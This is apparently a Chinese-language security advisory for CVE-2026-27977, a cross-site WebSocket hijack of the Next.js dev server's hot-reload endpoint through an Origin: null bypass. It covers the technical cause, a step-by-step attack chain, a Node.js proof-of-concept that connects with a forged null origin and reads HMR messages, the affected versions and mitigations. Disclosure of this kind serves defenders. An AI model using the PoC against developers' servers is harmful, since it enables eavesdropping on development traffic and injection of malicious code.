IPBUF安全漏洞报告
English
CVE-2026-27977 CVSS 5.4 中危

Next.js 16.0.1-16.1.6 Origin:null跨站WebSocket劫持漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27977
漏洞类型
访问控制绕过/跨站WebSocket劫持
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Next.js

相关标签

Next.jsWebSocket劫持Origin绕过跨站请求伪造开发服务器HMR访问控制绕过CVE-2026-27977React框架安全漏洞

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。该漏洞存在于Next.js开发服务器(next dev)的热模块替换(HMR)WebSocket功能中。漏洞源于跨站保护机制对Origin: null头的处理不当,当开发者配置了allowedDevOrigins时,系统仍会将Origin: null视为可信任来源并允许连接。这一设计缺陷使得攻击者可以通过构造包含不透明上下文(如<iframe>沙盒、about:blank页面)的恶意网页,绕过同源策略限制,劫持开发服务器的HMR WebSocket连接。成功利用此漏洞的攻击者能够窃取开发环境中的敏感信息、注入恶意代码到热重载模块,甚至可能影响开发人员的调试会话。由于该漏洞仅影响开发模式,生产环境不受影响。

技术细节

漏洞根本原因在于Next.js开发服务器的WebSocket端点(/_next/webpack-hmr)实现了不完整的Origin验证逻辑。正常情况下,系统会检查请求的Origin头是否在allowedDevOrigins配置列表中。然而,当浏览器发送的Origin头值为null(这在file://协议、data:协议或沙盒iframe等不透明上下文中很常见)时,验证逻辑错误地将其视为有效的受信任来源。攻击者可以在自己的网页中嵌入指向目标开发服务器WebSocket端点的连接请求,利用浏览器的隐私敏感上下文绕过Origin检查。一旦WebSocket握手成功,攻击者便成为该连接的合法参与者,可以接收服务器推送的所有消息(如模块变更通知、错误日志),并可向服务器发送请求。由于HMR连接通常具有较高的权限级别,这可能导致开发环境的敏感数据泄露或被恶意操纵。修复方案在16.1.7版本中对Origin: null进行了与其他来源相同的验证流程。

攻击链分析

STEP 1
1
攻击者搭建恶意网页,嵌入不透明上下文(如sandboxed iframe with about:blank)
STEP 2
2
受害者访问该恶意页面,浏览器在不透明上下文中向目标Next.js开发服务器发起WebSocket连接请求
STEP 3
3
浏览器自动设置Origin头为null,WebSocket握手请求发送至/_next/webpack-hmr端点
STEP 4
4
Next.js dev server的Origin验证逻辑错误地将Origin: null视为受信任来源,绕过allowedDevOrigins配置
STEP 5
5
WebSocket连接成功建立,攻击者获得与HMR通道的直接连接权限
STEP 6
6
攻击者窃取HMR消息内容(模块变更、错误日志、构建状态等敏感信息)
STEP 7
7
攻击者可能向连接注入恶意消息,干扰开发服务器的正常热重载功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-27977 PoC - Next.js HMR WebSocket Hijacking via Origin: null // This PoC demonstrates how an attacker can hijack Next.js dev server's HMR WebSocket // by exploiting the Origin: null bypass in allowedDevOrigins validation. const WebSocket = require('ws'); // Target Next.js dev server (typically runs on port 3000) const targetHost = 'localhost'; const targetPort = 3000; const targetPath = '/_next/webpack-hmr'; // Create a WebSocket connection with Origin: null (simulating sandboxed context) const wsUrl = `ws://${targetHost}:${targetPort}${targetPath}`; console.log('[+] CVE-2026-27977 PoC: Next.js HMR WebSocket Hijacking'); console.log(`[*] Target: ${wsUrl}`); console.log('[*] Attempting connection with Origin: null...'); const ws = new WebSocket(wsUrl, { headers: { 'Origin': 'null' // Key: This bypasses allowedDevOrigins validation } }); ws.on('open', () => { console.log('[+] WebSocket connection established!'); console.log('[+] Successfully bypassed Origin validation via Origin: null'); console.log('[+] Now receiving HMR messages and can send commands...'); }); ws.on('message', (data) => { console.log('[>] Received HMR message:', data.toString().substring(0, 200)); // Example: Inject malicious module update const message = JSON.parse(data); if (message.action === 'building') { console.log('[*] Dev server is building, potential for injection...'); } }); ws.on('error', (err) => { console.log('[-] Connection error:', err.message); }); ws.on('close', () => { console.log('[*] Connection closed'); }); // Attack scenario in browser context: // 1. Attacker hosts a page with: <iframe sandbox allow-scripts src="about:blank"> // 2. Script in iframe makes fetch/websocket to http://target-dev-server:3000 // 3. Browser sends Origin: null header // 4. Next.js allows connection due to Origin: null bypass // 5. Attacker can now read HMR traffic and inject malicious hot updates

影响范围

Next.js 16.0.1
Next.js 16.0.2
Next.js 16.0.3
Next.js 16.0.4
Next.js 16.0.5
Next.js 16.0.6
Next.js 16.0.7
Next.js 16.0.8
Next.js 16.1.0
Next.js 16.1.1
Next.js 16.1.2
Next.js 16.1.3
Next.js 16.1.4
Next.js 16.1.5
Next.js 16.1.6

防御指南

临时缓解措施
如果无法立即升级Next.js版本,可采取以下临时缓解措施:1) 不要将next dev服务暴露在公共网络或不可信网络中;2) 在Nginx/Apache等反向代理中配置,对/_next/webpack-hmr路径的WebSocket请求进行过滤,拒绝Origin为null的连接;3) 使用防火墙规则限制只有特定的受信任IP地址可以访问开发服务器端口;4) 考虑使用VPN创建安全的开发网络环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表